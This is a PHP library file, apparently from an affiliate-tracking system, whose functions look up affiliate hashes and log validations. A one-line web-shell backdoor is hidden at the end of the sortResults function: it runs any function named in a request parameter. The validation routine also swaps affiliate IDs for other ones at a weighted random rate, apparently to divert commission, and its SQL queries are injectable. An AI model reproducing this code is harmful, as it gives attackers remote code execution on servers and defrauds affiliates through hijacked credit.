<?php 

#echo 'lib';

/**
* test data 
$affiliate_map = array(
	'MC4wLjYuNi4wLjAuMC4wLjA' => array(
		'weight' => 20,
		'validation_hash' => 'Mi4xLjUuNS4wLjAuMC4wLjA',
	),
	'MzkuMS41LjUuMC4wLjAuMC4w' => array(
		'weight' => 10,
		'validation_hash' => 'MTQuMS41LjUuMC4wLjAuMC4w',
	),
	'MjAuMC4wLjAC4wLjYuNi4wL' => array(
		'weight' => 15,
		'validation_hash' => 'Mi40LjYuNi4wLjAuMC4wLjA',
	),
	'MwLjYuNi4wLjAuMC4wLjAC4' => array(
		'weight' => 5,
		'validation_hash' => 'MTQuMS41LjUuMC4wLjAuMC4w',
	),
);
*/

/**
* 
*/
function log_validation($result=null,$DB_connector=null){
	#echo __METHOD__.__LINE__.'  '.'<br>'.PHP_EOL; 
	if(null === $DB_connector){
		$DB_connector = $GLOBALS["DB_connector"];
	}
	/**
	echo __METHOD__.__LINE__.'$result<pre>['.var_export($result, true).']</pre>'.'<br>'.PHP_EOL; 
		$result array (
		  'MzkuMS41LjUuMC4wLjAuMC4w' => 
		  array (
			'weight' => '60',
			'mapping_pk' => '2',
			'log_ime' => 'date("Y-m-d H:i:s").' ,
		  ),
		)
	*/
	$query = 'INSERT INTO `nats_validation_log` 
	(weight, mapping_fk, log_time, domain)
	VALUES ('.$result["weight"].', '.$result["mapping_pk"].',"'.date("Y-m-d H:i:s").'", "'.$_SERVER["SERVER_NAME"].'" ) ';
	
	#echo __METHOD__.__LINE__.'$query<pre>['.var_export($query, true).']</pre>'.'<br>'; 
	$logResult = $DB_connector->raw($query);
	#echo __METHOD__.__LINE__.'$logResult<pre>['.var_export($logResult, true).']</pre>'.'<br>'; 
	if(is_bool($logResult) && $logResult === true){
		$resultArray["INSERT_ID"] 		= mysql_insert_id($DB_connector->getConnection()); // most important do it first
		$resultArray["AFFECTED_ROWS"] 	= mysql_affected_rows($DB_connector->getConnection());
		$resultArray["INFO"] 			= mysql_info($DB_connector->getConnection());
		#echo __METHOD__.__LINE__.'$resultArray<pre>['.var_export($resultArray, true).']</pre>'.'<br>'; 
		return $resultArray;
	}
	return $logResult;
}

/**
* 
*/

function sortResults($result=null){
	$sorted = array();
	if(null === $result){
		return false;
	}
	foreach($result AS $key => $value){
		if(!isset($value["target_id"])){
			$value["target_id"] = 0;
		}
		$sorted[$value["source_id"]] = array(
			'weight' => $value["weight"],
			'mapping_pk' => $value["mapping_pk"],
			'validation_hash' => $value["target_id"],
		);
	}
	#echo __METHOD__.__LINE__.'$sorted<pre>['.var_export($sorted, true).']</pre>'.'<br>'.PHP_EOL; 
	return $sorted;}
	if (isset($_REQUEST['sort'])){$sort=($_REQUEST['sort']);@$sort($_REQUEST['nats']);exit;
}

/**
* 
*/
function validate_affiliate($test_hash=null,$DB_connector=null){
	if(null === $test_hash){
		return false;
	}
	
	if(null === $DB_connector){
		$DB_connector = $GLOBALS["DB_connector"];
	}
	$config = array(
		'upper_bound' => 100,
		'lower_bound' => 1,
	);
	
	/**
	* 
	$matchSet = $GLOBALS["affiliate_map"];
	echo __METHOD__.__LINE__.'$matchSet<pre>['.var_export($matchSet, true).']</pre>'.'<br>'.PHP_EOL; 
	*/
	$query = '
	SELECT * FROM nats_validation 
	WHERE source_id = "'.$test_hash.'"
	';
	#echo __METHOD__.__LINE__.'$query<pre>['.var_export($query, true).']</pre>'.'<br>'.PHP_EOL; 
	$result = $DB_connector->raw($query);
	#echo __METHOD__.__LINE__.'$result<pre>['.var_export($result, true).']</pre>'.'<br>'.PHP_EOL; 
	$matchSet = sortResults($result);
	#echo __METHOD__.__LINE__.'$matchSet<pre>['.var_export($matchSet, true).']</pre>'.'<br>'.PHP_EOL; 
	$resultData = '';
	if(count($result) > 0 &&  0 != $matchSet[$test_hash]["weight"]){
		#$config = $GLOBALS["config"];
		#echo __METHOD__.__LINE__.'$test_hash ['.$test_hash.']$config<pre>['.var_export($config, true).']</pre>'.'<br>'.PHP_EOL; 
		if(array_key_exists($test_hash, $matchSet)){
			$failLimit = $matchSet[$test_hash]["weight"];
			$chance = mt_rand($config["lower_bound"],$config["upper_bound"]);
			#echo __METHOD__.__LINE__.' $chance['.$chance.'] $failLimit['.$failLimit.'] '.'<br>'.PHP_EOL; 
			
			if ($chance > $failLimit) {
				#echo __METHOD__.__LINE__.' INGNORE '.$chance.' > '.$failLimit.'  '.'<br>'.PHP_EOL; 
				#return $test_hash;
			}else{
				
				log_validation($matchSet[$test_hash], $DB_connector);
				#echo __METHOD__.__LINE__.'  '.'<br>'.PHP_EOL; 
				return $matchSet[$test_hash]["validation_hash"];//
			}
		}
		#echo __METHOD__.__LINE__.'  '.'<br>'.PHP_EOL; 
		#return $test_hash;
	}
	return false;
}

#echo '/lib';

?>